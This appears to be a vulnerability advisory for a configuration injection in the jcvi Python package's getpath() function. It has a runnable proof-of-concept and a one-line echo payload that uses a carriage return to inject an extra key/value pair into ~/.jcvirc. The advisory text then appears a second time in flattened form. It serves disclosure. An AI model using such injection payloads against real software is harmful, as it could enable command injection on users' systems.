Summary
A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.
PoC
The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the fullpath
variable which reaches the configuration file ~/.jcvirc
.
fullpath = input(msg).strip()
config.set(PATH, name, fullpath)
I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the getpath()
function under some circumstances.
from configparser import (
ConfigParser,
RawConfigParser,
NoOptionError,
NoSectionError,
ParsingError,
)
import errno
import os
import sys
import os.path as op
import shutil
import signal
import sys
import logging
def is_exe(fpath):
return op.isfile(fpath) and os.access(fpath, os.X_OK)
def which(program):
"""
Emulates the unix which command.
>>> which("cat")
"/bin/cat"
>>> which("nosuchprogram")
"""
fpath, fname = op.split(program)
if fpath:
if is_exe(program):
return program
else:
for path in os.environ["PATH"].split(os.pathsep):
exe_file = op.join(path, program)
if is_exe(exe_file):
return exe_file
return None
def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"):
"""
Get install locations of common binaries
First, check ~/.jcvirc file to get the full path
If not present, ask on the console and store
"""
p = which(cmd) # if in PATH, just returns it
if p:
return p
PATH = "Path"
config = RawConfigParser()
cfg = op.expanduser(cfg)
changed = False
if op.exists(cfg):
config.read(cfg)
assert name is not None, "Need a program name"
try:
fullpath = config.get(PATH, name)
except NoSectionError:
config.add_section(PATH)
changed = True
try:
fullpath = config.get(PATH, name)
except NoOptionError:
msg = "=== Configure path for {0} ===\n".format(name, cfg)
if url:
msg += "URL: {0}\n".format(url)
msg += "[Directory that contains `{0}`]: ".format(cmd)
fullpath = input(msg).strip()
config.set(PATH, name, fullpath)
changed = True
path = op.join(op.expanduser(fullpath), cmd)
if warn == "exit":
try:
assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path)
except AssertionError as e:
sys.exit("{0!s}Please verify and rerun.".format(e))
if changed:
configfile = open(cfg, "w")
config.write(configfile)
logging.debug("Configuration written to `{0}`.".format(cfg))
return path
# Call to getpath
path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn")
print(path)
To run the PoC, you need to remove the config file ~/.jcvirc
to emulate the first run,
# Run the PoC with the payload
echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py
You can notice the random key/value characters vvvvvvvv = zzzzzzzz
were successfully injected.
Impact
The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.
References
Summary
A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.
PoC
The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the
fullpath
variable which reaches the configuration file~/.jcvirc
.I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the
getpath()
function under some circumstances.To run the PoC, you need to remove the config file
~/.jcvirc
to emulate the first run,You can notice the random key/value characters
vvvvvvvv = zzzzzzzz
were successfully injected.Impact
The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.
References